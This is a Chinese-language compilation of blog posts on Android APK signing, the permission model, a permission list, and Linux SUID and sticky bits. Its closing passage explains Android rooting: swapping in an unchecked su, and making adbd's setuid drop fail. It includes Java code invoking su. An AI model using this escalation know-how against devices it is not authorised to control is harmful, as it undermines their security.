一. android apk的簽名問題(http://blog.csdn.net/lyq8479/article/details/6401093)java
1.爲何要給Android應用程序簽名?
若是隻能用一句簡單的話語來回答這個問題的話,我會說:「這是Android系統所要求的」。
Android系統要求每個Android應用程序必需要通過數字簽名纔可以安裝到系統中,也就是說若是一個Android應用程序沒有通過數字簽名,是沒有辦法安裝到系統中的!Android經過數字簽名來標識應用程序的做者和在應用程序之間創建信任關係,不是用來決定最終用戶能夠安裝哪些應用程序。這個數字簽名由應用程序的做者完成,並不須要權威的數字證書籤名機構認證,它只是用來讓應用程序包自我認證的。linux
二、爲何我開發的Android應用程序沒有作什麼簽名也能在模擬器和手機上運行?
你沒有給Android應用程序簽名並不表明Android應用程序沒有被簽名。爲了方便咱們開發調試程序,ADT會自動的使用debug密鑰爲應用程序簽名。debug密鑰?它在哪?debug密鑰是一個名爲debug.keystore的文件,它的位置:
系統盤符:/Documents and Settings/liufeng/.android/debug.keystore
「liufeng」對應於你本身的windows操做系統用戶名,怎麼樣,是否是已經找到它了。這也就意味着,若是咱們想擁有本身的簽名,而不是讓ADT幫咱們簽名的話,咱們也要有一個屬於本身的密鑰文件(*.keystore)。android
三、Android應用程序簽名步驟
1)準備工做
apk的簽名工做能夠經過兩種方式來完成:
1)經過ADT提供的圖形化界面完成apk簽名;
2)徹底經過DOS命令來完成apk簽名
我比較喜歡第2)種方式,因此下面將講解如何經過命令的方式完成apk簽名。
給apk簽名一共要用到3個工具,或者說3個命令,分別是:keytool、jarsigner和zipalign,下面是對這3個工具的簡單介紹:
1)keytool:生成數字證書,即密鑰,也就是上面說到的擴展名爲.keystore的那類文件;
2)jarsigner:使用數字證書給apk文件簽名;
3)zipalign:對簽名後的apk進行優化,提升與Android系統交互的效率(Android SDK1.6版本開始包含此工具)
從這3個工具的做用也能夠看出,這3個工具的使用順序。一般咱們本身所開發的全部應用程序,都是使用一樣的簽名,即便用同一個數字證書,這就意味着:若是你是第一次作Android應用程序簽名,上面的3個工具都將用到;但若是你已經有數字證書了,之後再給其它apk簽名時,只須要用到jarsigner和zipalign就能夠完成。
爲了方便使用上面3個命令,首先須要將上面3個工具所在路徑添加到環境變量path中(我說的是爲了方便使用,沒有說必需要這麼作)。怎麼配置環境變量就不在此講解了,這裏須要說一下這3個工具默認所在的路徑:
1)keytool:該工具位於jdk安裝路徑的bin目錄下;
2)jarsigner:該工具位於jdk安裝路徑的bin目錄下;
3)zipalign:該工具位於android-sdk-windows/tools/目錄下
不知道你們是否注意到keytool和jarsigner兩個工具是jdk自帶的,也就意味着生成數字證書和文件簽名不是Android的專利;另外從字面上理解jarsigner也能猜得出該工具主要是用來給jar文件簽名的。
2)生成未經簽名的apk文件
既然咱們要本身對apk進行簽名,就再也不須要ADT默認幫咱們簽名了。如何獲得一個未經簽名的apk文件呢?打開Eclipse,在Android工程名稱上點擊右鍵,依次選擇「Android Tools」 - 「Export Unsigned Application Package ...」,而後選擇一個存儲位置保存便可。這樣就獲得了一個未經簽名的apk文件。
3)使用keytool工具生成數字證書
keytool -genkey -v -keystore liufeng.keystore -alias liufeng.keystore -keyalg RSA -validity 20000
說明:
1)keytool是工具名稱,-genkey意味着執行的是生成數字證書操做,-v表示將生成證書的詳細信息打印出來,顯示在dos窗口中;
2)-keystore liufeng.keystore 表示生成的數字證書的文件名爲「liufeng.keystore」;
3)-alias liufeng.keystore 表示證書的別名爲「liufeng.keystore」,固然能夠不和上面的文件名同樣;
4)-keyalg RSA 表示生成密鑰文件所採用的算法爲RSA;
5)-validity 20000 表示該數字證書的有效期爲20000天,意味着20000天以後該證書將失效
在執行上面的命令生成數字證書文件時,會提示你輸入一些信息,包括證書的密碼,示例以下:
4)使用jarsigner工具爲Android應用程序簽名
jarsigner -verbose -keystore liufeng.keystore -signedjar notepad_signed.apk notepad.apk liufeng.keystore
說明:
1)jarsigner是工具名稱,-verbose表示將簽名過程當中的詳細信息打印出來,顯示在dos窗口中;
2)-keystore liufeng.keystore 表示簽名所使用的數字證書所在位置,這裏沒有寫路徑,表示在當前目錄下;
3)-signedjar notepad_signed.apk notepad.apk 表示給notepad.apk文件簽名,簽名後的文件名稱爲notepad_signed.apk;
4)最後面的liufeng.keystore 表示證書的別名,對應於生成數字證書時-alias參數後面的名稱
5)使用zipalign工具優化已簽名的apk(非必須但建議這麼作)
zipalign -v 4 notepad_signed.apk notepad_signed_aligned.apk
說明:
1)zipalign是工具名稱,-v表示在DOS窗口打印出詳細的優化信息;
2)notepad_signed.apk notepad_signed_aligned.apk 表示對已簽名文件notepad_signed.apk進行優化,優化後的文件名爲notepad_signed_aligned.apkgit
說明:若是你之前的程序是採用默認簽名的方式(即debug簽名),一旦換了新的簽名應用將不能覆蓋安裝,必須將原先的程序卸載掉,才能安裝上。由於程序覆蓋安裝主要檢查兩點:
1)兩個程序的入口Activity是否相同。兩個程序若是包名不同,即便其它全部代碼徹底同樣,也不會被視爲同一個程序的不一樣版本;
2)兩個程序所採用的簽名是否相同。若是兩個程序所採用的簽名不一樣,即便包名相同,也不會被視爲同一個程序的不一樣版本,不能覆蓋安裝。
另外,可能有人可能會認爲反正debug簽名的應用程序也能安裝使用,那也沒有必要本身簽名了嘛。千萬不要這樣想,debug簽名的應用程序有這樣兩個限制,或者說風險:
1)debug簽名的應用程序不能在Android Market上架銷售,它會強制你使用本身的簽名;
2)debug.keystore在不一樣的機器上所生成的可能都不同,就意味着若是你換了機器進行apk版本升級,那麼將會出現上面那種程序不能覆蓋安裝的問題。不要小視這個問題,若是你開發的程序只有你本身使用,固然無所謂,卸載再安裝就能夠了。但要是你的軟件有不少使用客戶,這就是大問題了,就至關於軟件不具有升級功能!github
二.android apk的權限(http://blog.csdn.net/superkris/article/details/7709504)web
Android系統是運行在Linux內核上的,Android與Linux分別有本身的一套嚴格的安全及權限機制,
Android系統權限相關的內容,算法
(一)linux文件系統上的權限
-rwxr-x--x system system 4156 2012-06-30 16:12 test.apk.sql
表明的是相應的用戶/用戶組及其餘人對此文件的訪問權限,與此文件運行起來具備的權限徹底不相關
好比上面的例子只能說明system用戶擁有對此文件的讀寫執行權限;system組的用戶對此文件擁有讀、執行權限;其餘人對此文件只具備執行權限。而test.apk運行起來後能夠幹哪些事情,跟這個就不相關了。
千萬不要看apk文件系統上屬於system/system用戶及用戶組,或者root/root用戶及用戶組,就認爲apk具備system或root權限。apk程序是運行在虛擬機上的,對應的是Android獨特的權限機制,只有體現到文件系統上時才使用linux的權限設置。shell
(二)Android的權限規則
(1)Android中的apk必須簽名
這種簽名不是基於權威證書的,不會決定某個應用允不容許安裝,而是一種自簽名證書。
重要的是,android系統有的權限是基於簽名的。好比:system等級的權限有專門對應的簽名,簽名不對,權限也就獲取不到。數據庫
默認生成的APK文件是debug簽名的。獲取system權限時用到的簽名見後面描述
(2)基於UserID的進程級別的安全機制
進程有獨立的地址空間,進程與進程間默認是不能互相訪問的,Android經過爲每個apk分配惟一的linux userID來實現,名稱爲"app_"加一個數字,好比app_43不一樣的UserID,運行在不一樣的進程,因此apk之間默認便不能相互訪問。
Android提供了以下的一種機制,可使兩個apk打破前面講的這種壁壘。
在AndroidManifest.xml中利用sharedUserId屬性給不一樣的package分配相同的userID,經過這樣作,兩個package能夠被當作同一個程序,
系統會分配給兩個程序相同的UserID。固然,基於安全考慮,兩個apk須要相同的簽名,不然沒有驗證也就沒有意義了。
(3)默認apk生成的數據對外是不可見的
實現方法是:Android會爲程序存儲的數據分配該程序的UserID。
藉助於Linux嚴格的文件系統訪問權限,便實現了apk之間不能相互訪問似有數據的機制。
例:個人應用建立的一個文件,默認權限以下,能夠看到只有UserID爲app_21的程序才能讀寫該文件。
-rw------- app_21 app_21 87650 2000-01-01 09:48 test.txt
如何對外開放?
<1> 使用MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE標記。
When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or write permissions have been set appropriately so any other application can see it.
(4)AndroidManifest.xml中的顯式權限聲明
Android默認應用是沒有任何權限去操做其餘應用或系統相關特性的,應用在進行某些操做時都須要顯式地去申請相應的權限。
通常如下動做時都須要申請相應的權限:
A particular permission may be enforced at a number of places during your program's operation:
At the time of a call into the system, to prevent an application from executing certain functions.When starting an activity, to prevent applications from launching activities of other applications.Both sending and receiving broadcasts, to control who can receive your broadcast or who can send a broadcast to you.When accessing and operating on a content provider.Binding or starting a service.
在應用安裝的時候,package installer會檢測該應用請求的權限,根據該應用的簽名或者提示用戶來分配相應的權限。
在程序運行期間是不檢測權限的。若是安裝時權限獲取失敗,那執行就會出錯,不會提示用戶權限不夠。
大多數狀況下,權限不足致使的失敗會引起一個 SecurityException,會在系統log(system log)中有相關記錄。
(5)權限繼承/UserID繼承
當咱們遇到apk權限不足時,咱們有時會考慮寫一個linux程序,而後由apk調用它去完成某個它沒有權限完成的事情,很遺憾,這種方法是行不通的。
前面講過,android權限是在進程層面的,也就是說一個apk應用啓動的子進程的權限不可能超越其父進程的權限(即apk的權限),
即便單獨運行某個應用有權限作某事,但若是它是由一個apk調用的,那權限就會被限制。
實際上,android是經過給子進程分配父進程的UserID實現這一機制的。
(三)常見權限不足問題分析
首先要知道,普通apk程序是運行在非root、非system層級的,也就是說看要訪問的文件的權限時,看的是最後三位。
另外,經過system/app安裝的apk的權限通常比直接安裝或adb install安裝的apk的權限要高一些。
言歸正傳,運行一個android應用程序過程當中遇到權限不足,通常分爲兩種狀況:
(1)Log中可明顯看到權限不足的提示。
此種狀況通常是AndroidManifest.xml中缺乏相應的權限設置,好好查找一番權限列表,應該就可解決,是最易處理的狀況。
有時權限都加上了,但仍是報權限不足,是什麼狀況呢?
Android系統有一些API及權限是須要apk具備必定的等級才能運行的。
好比 SystemClock.setCurrentTimeMillis()修改系統時間,WRITE_SECURE_SETTINGS權限好像都是須要有system級的權限才行。
也就是說UserID是system.
(2)Log裏沒有報權限不足,而是一些其餘Exception的提示,這也有多是權限不足形成的。
好比:咱們常會想讀/寫一個配置文件或其餘一些不是本身建立的文件,常會報java.io.FileNotFoundException錯誤。
系統認爲比較重要的文件通常權限設置的也會比較嚴格,特別是一些很重要的(配置)文件或目錄。
如
-r--r----- bluetooth bluetooth 935 2010-07-09 20:21 dbus.conf
drwxrwx--x system system 2010-07-07 02:05 data
dbus.conf好像是藍牙的配置文件,從權限上來看,根本就不可能改動,非bluetooth用戶連讀的權利都沒有。
/data目錄下存的是全部程序的私有數據,默認狀況下android是不容許普通apk訪問/data目錄下內容的,經過data目錄的權限設置可知,其餘用戶沒有讀的權限。
因此adb普通權限下在data目錄下敲ls命令,會獲得opendir failed, Permission denied的錯誤,經過代碼file.listfiles()也沒法得到data目錄下的內容。
上面兩種狀況,通常都須要提高apk的權限,目前我所知的apk能提高到的權限就是system(具體方法見:如何使Android應用程序獲取系統權限)
1.通常權限的添加
通常狀況下,設定apk的權限,可在AndroidManifest.xml中添加android:sharedUserId="android.uid.xxx>
例如: 給apk添加system權限
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
... ...
android:sharedUserId="android.uid.system">
同時還須要在對應的Android.mk中添加LOCAL_CERTIFICATE := platform這一項。即用系統的簽名,經過這種方式只能使apk的權限升級到system級別,系統中要求root權限才能訪問的文件,apk仍是不能訪問。
好比在android 的API中有提供 SystemClock.setCurrentTimeMillis()函數來修改系統時間,這個函數須要root權限或者運行與系統進程中才能夠用。
第一個方法簡單點,不過須要在Android系統源碼的環境下用make來編譯:
1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。
第二個方法是直接把eclipse編出來的apk用系統的簽名文件簽名
1. 加入android:sharedUserId="android.uid.system"這個屬性。
2. 使用eclipse編譯出apk文件。
3. 使用目標系統的platform密鑰來從新給apk文件簽名。首先找到密鑰文件,在我ndroid源碼目錄中的位置是"build/target/product/security",下面的platform.pk8和platform.x509.pem兩個文件。而後用Android提供的Signapk工具來簽名,signapk的源代碼是在"build/tools/signapk"下,編譯後在out/host/linux-x86/framework下,用法爲java -jar signapk.jar platform.x509.pem platform.pk8 input.apk output.apk"。
加入android:sharedUserId="android.uid.system"這個屬性。經過Shared User id,擁有同一個User id的多個APK能夠配置成運行在同一個進程中。那麼把程序的UID配成android.uid.system,也就是要讓程序運行在系統進程中,這樣就有權限來修改系統時間了。
只是加入UID還不夠,若是這時候安裝APK的話發現沒法安裝,提示簽名不符,緣由是程序想要運行在系統進程中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個文件。用這兩個key簽名後apk才真正能夠放入系統進程中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。
這也有一個問題,就是這樣生成的程序只有在原始的Android系統或者是本身編譯的系統中才能夠用,由於這樣的系統才能夠拿到platform.pk8和platform.x509.pem兩個文件。要是別家公司作的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程序在模擬器上運行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。
通常linux 獲取root權限是經過執行su命令,那能不能在apk程序中也一樣執行一下該命令呢,咱們知道在linux編程中,有exec函數族:
int execl(cONst char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char *const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); int execve(const char *path, char *const argv[], char *const envp[]);
在java中咱們能夠藉助 Runtime.getRuntime().exec(String command)訪問底層Linux下的程序或腳本,這樣就能執行su命令,使apk具備root權限,可以訪問系統中須要root權限才能執行的程序或腳本了,具體例子:
import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import android.app.Activity; import android.os.Bundle; import android.util.Log; public class VisitRootfileActivity extends Activity { private static final String TAG = "VisitRootfileActivity"; Process process = null; Process process1 = null; DataOutputStream os = null; DataInputStream is = null; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); try { process = Runtime.getRuntime().exec("/system/xbin/su"); /*這裏可能須要修改su 的源代碼 (注掉 if (myuid != AID_ROOT && myuid != AID_SHELL) {*/ os = new DataOutputStream(process.getOutputStream()); is = new DataInputStream(process.getInputStream()); os.writeBytes("/system/bin/ls" + " \n"); //這裏能夠執行具備root 權限的程序了 os.writeBytes(" exit \n"); os.flush(); process.waitFor(); } catch (Exception e) { Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage()); } finally { try { if (os != null) { os.close(); } if (is != null) { is.close(); } process.destroy(); } catch (Exception e) { } }// get the root privileges } }
android.permission.ACCESS_CHECKIN_PROPERTIES //容許讀寫訪問」properties」表在checkin數據庫中,改值能夠修改上傳 android.permission.ACCESS_COARSE_LOCATION //容許一個程序訪問CellID或WiFi熱點來獲取粗略的位置 android.permission.ACCESS_FINE_LOCATION //容許一個程序訪問精良位置(如GPS) android.permission.ACCESS_LOCATION_EXTRA_COMMANDS //容許應用程序訪問額外的位置提供命令 android.permission.ACCESS_MOCK_LOCATION //容許程序建立模擬位置提供用於測試 android.permission.ACCESS_NETWORK_STATE //容許程序訪問有關GSM網絡信息 android.permission.ACCESS_SURFACE_FLINGER //容許程序使用SurfaceFlinger底層特性 android.permission.ACCESS_WIFI_STATE //容許程序訪問Wi-Fi網絡狀態信息 android.permission.ADD_SYSTEM_SERVICE //容許程序發佈系統級服務 android.permission.BATTERY_STATS //容許程序更新手機電池統計信息 android.permission.BLUETOOTH //容許程序鏈接到已配對的藍牙設備 android.permission.BLUETOOTH_ADMIN //容許程序發現和配對藍牙設備 android.permission.BRICK //請求可以禁用設備(很是危險 android.permission.BROADCAST_PACKAGE_REMOVED //容許程序廣播一個提示消息在一個應用程序包已經移除後 android.permission.BROADCAST_STICKY //容許一個程序廣播經常使用intents android.permission.CALL_PHONE //容許一個程序初始化一個電話撥號不需經過撥號用戶界面須要用戶確認 android.permission.CALL_PRIVILEGED //容許一個程序撥打任何號碼,包含緊急號碼無需經過撥號用戶界面須要用戶確認 android.permission.CAMERA //請求訪問使用照相設備 android.permission.CHANGE_COMPONENT_ENABLED_STATE //容許一個程序是否改變一個組件或其餘的啓用或禁用 android.permission.CHANGE_CONFIGURATION //容許一個程序修改當前設置,如本地化 android.permission.CHANGE_NETWORK_STATE //容許程序改變網絡鏈接狀態 android.permission.CHANGE_WIFI_STATE //容許程序改變Wi-Fi鏈接狀態 android.permission.CLEAR_APP_CACHE //容許一個程序清楚緩存從全部安裝的程序在設備中 android.permission.CLEAR_APP_USER_DATA //容許一個程序清除用戶設置 android.permission.CONTROL_LOCATION_UPDATES //容許啓用禁止位置更新提示從無線模塊 android.permission.DELETE_CACHE_FILES //容許程序刪除緩存文件 android.permission.DELETE_PACKAGES //容許一個程序刪除包 android.permission.DEVICE_POWER //容許訪問底層電源管理 android.permission.DIAGNOSTIC //容許程序RW診斷資源 android.permission.DISABLE_KEYGUARD //容許程序禁用鍵盤鎖 android.permission.DUMP //容許程序返回狀態抓取信息從系統服務 android.permission.EXPAND_STATUS_BAR //容許一個程序擴展收縮在狀態欄,android開發網提示應該是一個相似Windows Mobile中的托盤程序 android.permission.FACTORY_TEST //做爲一個工廠測試程序,運行在root用戶 android.permission.FLASHLIGHT //訪問閃光燈,android開發網提示HTC Dream不包含閃光燈 android.permission.FORCE_BACK //容許程序強行一個後退操做是否在頂層activities android.permission.FOTA_UPDATE //暫時不瞭解這是作什麼使用的,android開發網分析多是一個預留權限. android.permission.GET_ACCOUNTS //訪問一個賬戶列表在Accounts Service中 android.permission.GET_PACKAGE_SIZE //容許一個程序獲取任何package佔用空間容量 android.permission.GET_TASKS //容許一個程序獲取信息有關當前或最近運行的任務,一個縮略的任務狀態,是否活動等等 android.permission.HARDWARE_TEST //容許訪問硬件 android.permission.INJECT_EVENTS //容許一個程序截獲用戶事件如按鍵、觸摸、軌跡球等等到一個時間流,android開發網提醒算是hook技術吧 android.permission.INSTALL_PACKAGES //容許一個程序安裝packages android.permission.INTERNAL_SYSTEM_WINDOW //容許打開窗口使用系統用戶界面 android.permission.INTERNET //容許程序打開網絡套接字 android.permission.MANAGE_APP_TOKENS //容許程序管理(建立、催後、 z- order默認向z軸推移)程序引用在窗口管理器中 android.permission.MASTER_CLEAR //目前尚未明確的解釋,android開發網分析多是清除一切數據,相似硬格機 android.permission.MODIFY_AUDIO_SETTINGS //容許程序修改全局音頻設置 android.permission.MODIFY_PHONE_STATE //容許修改話機狀態,如電源,人機接口等 android.permission.MOUNT_UNMOUNT_FILESYSTEMS //容許掛載和反掛載文件系統可移動存儲 android.permission.PERSISTENT_ACTIVITY //容許一個程序設置他的activities顯示 android.permission.PROCESS_OUTGOING_CALLS //容許程序監視、修改有關播出電話 android.permission.READ_CALENDAR //容許程序讀取用戶日曆數據 android.permission.READ_CONTACTS //容許程序讀取用戶聯繫人數據 android.permission.READ_FRAME_BUFFER //容許程序屏幕波或和更多常規的訪問幀緩衝數據 android.permission.READ_INPUT_STATE //容許程序返回當前按鍵狀態 android.permission.READ_LOGS //容許程序讀取底層系統日誌文件 android.permission.READ_OWNER_DATA //容許程序讀取全部者數據 android.permission.READ_SMS //容許程序讀取短信息 android.permission.READ_SYNC_SETTINGS //容許程序讀取同步設置 android.permission.READ_SYNC_STATS //容許程序讀取同步狀態 android.permission.REBOOT //請求可以從新啓動設備 android.permission.RECEIVE_BOOT_COMPLETED //容許一個程序接收到 android.permission.RECEIVE_MMS //容許一個程序監控將收到MMS彩信,記錄或處理 android.permission.RECEIVE_SMS //容許程序監控一個將收到短信息,記錄或處理 android.permission.RECEIVE_WAP_PUSH //容許程序監控將收到WAP PUSH信息 android.permission.RECORD_AUDIO //容許程序錄制音頻 android.permission.REORDER_TASKS //容許程序改變Z軸排列任務 android.permission.RESTART_PACKAGES //容許程序從新啓動其餘程序 android.permission.SEND_SMS //容許程序發送SMS短信 android.permission.SET_ACTIVITY_WATCHER //容許程序監控或控制activities已經啓動全局系統中 android.permission.SET_ALWAYS_FINISH //容許程序控制是否活動間接完成在處於後臺時 android.permission.SET_ANIMATION_SCALE //修改全局信息比例 android.permission.SET_DEBUG_APP //配置一個程序用於調試 android.permission.SET_ORIENTATION //容許底層訪問設置屏幕方向和實際旋轉 android.permission.SET_PREFERRED_APPLICATIONS //容許一個程序修改列表參數PackageManager.addPackageToPreferred()和PackageManager.removePackageFromPreferred()方法 android.permission.SET_PROCESS_FOREGROUND //容許程序當前運行程序強行到前臺 android.permission.SET_PROCESS_LIMIT //容許設置最大的運行進程數量 android.permission.SET_TIME_ZONE //容許程序設置時間區域 android.permission.SET_WALLPAPER //容許程序設置壁紙 android.permission.SET_WALLPAPER_HINTS //容許程序設置壁紙hits android.permission.SIGNAL_PERSISTENT_PROCESSES //容許程序請求發送信號到全部顯示的進程中 android.permission.STATUS_BAR //容許程序打開、關閉或禁用狀態欄及圖標Allows an application to open, close, or disable the status bar and its icons. android.permission.SUBSCRIBED_FEEDS_READ //容許一個程序訪問訂閱RSS Feed內容提供 android.permission.SUBSCRIBED_FEEDS_WRITE //系統暫時保留改設置,android開發網認爲將來版本會加入該功能。 android.permission.SYSTEM_ALERT_WINDOW //容許一個程序打開窗口使用 TYPE_SYSTEM_ALERT,顯示在其餘全部程序的頂層(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications. ) android.permission.VIBRATE //容許訪問振動設備 android.permission.WAKE_LOCK //容許使用PowerManager的 WakeLocks保持進程在休眠時從屏幕消失 android.permission.WRITE_APN_SETTINGS //容許程序寫入APN設置 android.permission.WRITE_CALENDAR //容許一個程序寫入但不讀取用戶日曆數據 android.permission.WRITE_CONTACTS //容許程序寫入但不讀取用戶聯繫人數據 android.permission.WRITE_GSERVICES //容許程序修改Google服務地圖 android.permission.WRITE_OWNER_DATA //容許一個程序寫入但不讀取全部者數據 android.permission.WRITE_SETTINGS //容許程序讀取或寫入系統設置 android.permission.WRITE_SMS //容許程序寫短信 android.permission.WRITE_SYNC_SETTINGS //容許程序寫入同步設置
發佈於: 通常文件權限讀(R),寫(W),執行(X)權限比較簡單。通常材料上面都有介紹. 這裏介紹一下一些特殊的文件權限——SUID,SGID,Stick bit。若是你檢查一下/usr/bin/passwd和/tmp/的文件權限你就會發現和普通的文件權限有少量不一樣,以下圖所示:
這裏就涉及到SUID和Stick bit。
SUID和SGID
咱們首先來談一下passwd程序特殊的地方。你們都知道,Linux把用戶的密碼信息存放在/etc/shadow裏面,該文件屬性以下:
能夠看到Shadow的只有全部者可讀寫,全部者是root,因此該文件對普通用戶是不可讀寫的。可是普通用戶調用passwd程序是能夠修改本身的密碼的,這又是爲何呢?難道普通用戶能夠讀寫shadow文件?固然不是啦。password能夠修改shadow文件的緣由是他設置了SUID文件權限。
SUID文件權限做用於可執行文件。通常的可執行文件在執行期的全部者是當前用戶,好比當前系統用戶是simon,simon運行程序a.out,a.out執行期的全部者應該是simon。可是若是咱們給可執行文件設置了SUID權限,則該程序執行期間的全部者,就是該文件全部者。還之前面的a.out爲例,假如a.out設置了SUID,而且其全部者是root,系統當前用戶是simon,當simon運行a.out的時候,a.out在運行期的全部者就是root,這時a.out能夠存取只有root權限才能存取的資源,好比讀寫shadow文件。當a.out執行結束的時候當前用戶的權限又回到了simon的權限了。
passwd就是設置了SUID權限,而且passwd的全部者是root,因此全部的用戶均可以執行他,在passwd運行期,程序得到臨時的root權限,這時其能夠存取shadow文件。當passwd運行完成,當前用戶又回到普通權限。
同理,設置程序的SGID,可使程序運行期能夠臨時得到全部者組的權限。在團隊開發的時候,這個文件權限比較有用,通常系統用SUID比較多。
SGID能夠用於目錄,當目錄設置了SGID以後,在該目錄下面創建的全部文件和目錄都具備和該目錄相同的用戶組。
Stick bit(粘貼位)
對程序,該權限告訴系統在程序完成後在內存中保存一份運行程序的備份,如該程序經常使用,可爲系統節省點時間,不用每次從磁盤加載到內存。Linux當前對文件沒有實現這個功能,一些其餘的UNIX系統實現了這個功能。
Stick bit能夠做用於目錄,在設置了粘貼位的目錄下面的文件和目錄,只有全部者和root能夠刪除他。如今咱們能夠回頭去看看/tmp/目錄的狀況,這個目錄設置了粘貼位。因此說,全部人均可以對該目錄讀寫執行(777),這樣意味着全部人均可以在/tmp/下面建立臨時目錄。由於設置Stick bit只有全部者和root才能刪除目錄。這樣普通用戶只能刪除屬於本身的文件,而不能刪除其餘人的文件。以下圖所示:
設置SUID,SGID,Stick bit
前面介紹過SUID與SGID的功能,那麼,如何打開文件使其成爲具備SUID與SGID的權限呢?這就須要使用數字更改權限了。如今應該知道,使用數字更改權限的方式爲「3個數字」的組合,那麼,若是在這3個數字以前再加上一個數字,最前面的數字就表示這幾個屬性了(注:一般咱們使用chmod 0777 filename的方式來設置filename的屬性時,則是假設沒有SUID、SGID及Sticky bit)。
4爲SUID
2爲SGID
1爲Sticky bit
假設要將一個文件屬性改成「-rwsr-xr-x」,因爲s在用戶權限中,因此是SUID,所以,在原先的755以前還要加上4,也就是使用「chmod 4755 filename」來設置。
SUID也能夠用「chmod u+s filename」來設置,「chmod u-s filename」來取消SUID設置;一樣,SGID能夠用「chmod g+s filename」,「chmod g-s filename」來取消SGID設置。
得到root權限的代碼以下:
Process process = Runtime.getRuntime().exec("su"); DataOutputStream os =new DataOutputStream(process.getOutputStream()); ...... os.writeBytes("exit\n"); os.flush(); process.waitFor();
從上面代碼咱們能夠看到首先要運行su程序,其實root的祕密都在su程序中,Android系統默認的su程序只能root和shell能夠用運行su,若是把這個限制拿掉,就是root破解了!
下面咱們仔細分析一下程序是怎樣得到root權限的,若是對Linux的su命令熟悉的朋友可能知道su程序都設置SUID位,咱們查看一下已經root破解上的su權限設置,
咱們發現su的全部者和全部組都是root,是實際上是busybox的軟連接,咱們查看busybox的屬性發現,其設置了SUID和SGID,而且全部者和全部組都是root。這樣運行busybox的普通用戶,busybox運行過程當中得到的是root的有效用戶。su程序則是把本身啓動一個新的程序,並把本身權限提高至root(咱們前面提到su其實就是busybox,運行期它的權限是root,固然也有權限來提高本身的權限)。
再強調一下不光root手機上su須要設置SUID,全部的Linux系統上的su程序都須要設置SUID位。
咱們發現su也設置了SUID位,這樣普通用戶也能夠運行su程序,su程序會驗證root
密碼,若是正確su程序能夠把用戶權限提升的root(由於其設置SUID位,運行期是root權限,這樣其有權限提高本身的權限)。
Android系統的破解的根本原理就是替換掉系統中的su程序,由於系統中的默認su程序須要驗證明際用戶權限(只有root和shell用戶纔有權運行系統默認的su程序,其餘用戶運行都會返回錯誤)。而破解後的su將不檢查實際用戶權限,這樣普通的用戶也將能夠運行su程序,也能夠經過su程序將本身的權限提高。
root破解沒有利用什麼Linux內核漏洞(Linux內核不可能有這麼大的漏洞存在),能夠理解成root破解就是在你係統中植入「木馬su」,說它是「木馬」一點兒都不爲過,假如惡意程序在系統中運行也能夠經過su來提高本身的權限的這樣的結果將會是災難性的。因此通常狀況下root過手機都會有一個SuperUser應用程序來讓用戶管理容許誰得到root權限.可是要替換掉系統中su程序自己就是須要root權限的,怎樣在root破解過程當中得到root權限,假設須要破解的Android系統具有以下條件:
一、能夠經過adb鏈接到設備,通常意味着驅動程序已經安裝。
二、可是adb得到用戶權限是shell用戶,而不是root。
先了解一下adb工具,設備端有adbd服務程序後臺運行,爲開發機的adb程序提供服務,adbd的權限,決定了adb的權限。具體用戶可查看/system/core/adb下的源碼,查看Android.mk你將會發現adb和adbd實際上是一份代碼,而後經過宏來編譯。
查看adb.c的adb_main函數你將會發現adbd中有以下代碼:
1:int adb_main(int is_daemon) 2: { 3: ...... 4: property_get("ro.secure", value,""); 5: if (strcmp(value,"1") == 0) { 6: // don't run as root if ro.secure is set... 7: secure = 1; 8: ...... 9: } 11: if (secure) { 12: ...... 13: setgid(AID_SHELL); 14: setuid(AID_SHELL); 15: ...... 16: } 17: }
從中咱們能夠看到adbd會檢測系統的ro.secure屬性,若是該屬性爲1則將會把本身的用戶權限降級成shell用戶。通常設備出廠的時候在/default.prop文件中都會有:
1: ro.secure=1
這樣將會使adbd啓動的時候自動降級成shell用戶。
而後咱們再介紹一下adbd在何時啓動的呢?答案是在init.rc中配置的系統服務,由init進程啓動。咱們查看init.rc中有以下內容:
1: # adbd is controlled by the persist.service.adb.enable system property
2: service adbd /sbin/adbd
3: disabled
對Android屬性系統少有了解的朋友將會知道,在init.rc中配置的系統服務啓動的時候都是root權限(由於init進行是root權限,其子程序也是root)。由此咱們能夠知道在adbd程序在執行:
1:/* then switch user and group to "shell" */
2: setgid(AID_SHELL);
3: setuid(AID_SHELL);
代碼以前都是root權限,只有執行這兩句以後才變成shell權限的。
這樣咱們就能夠引出root破解過程當中得到root權限的方法了,那就是讓上面setgid和setuid函數執行失敗,也就是降級失敗,那就繼續在root權限下面運行了。
這裏面作一個簡單說明:
一、出廠設置的ro.secure屬性爲1,則adbd也將運行在shell用戶權限下;
二、adb工具建立的進程ratc也運行在shell用戶權限下;
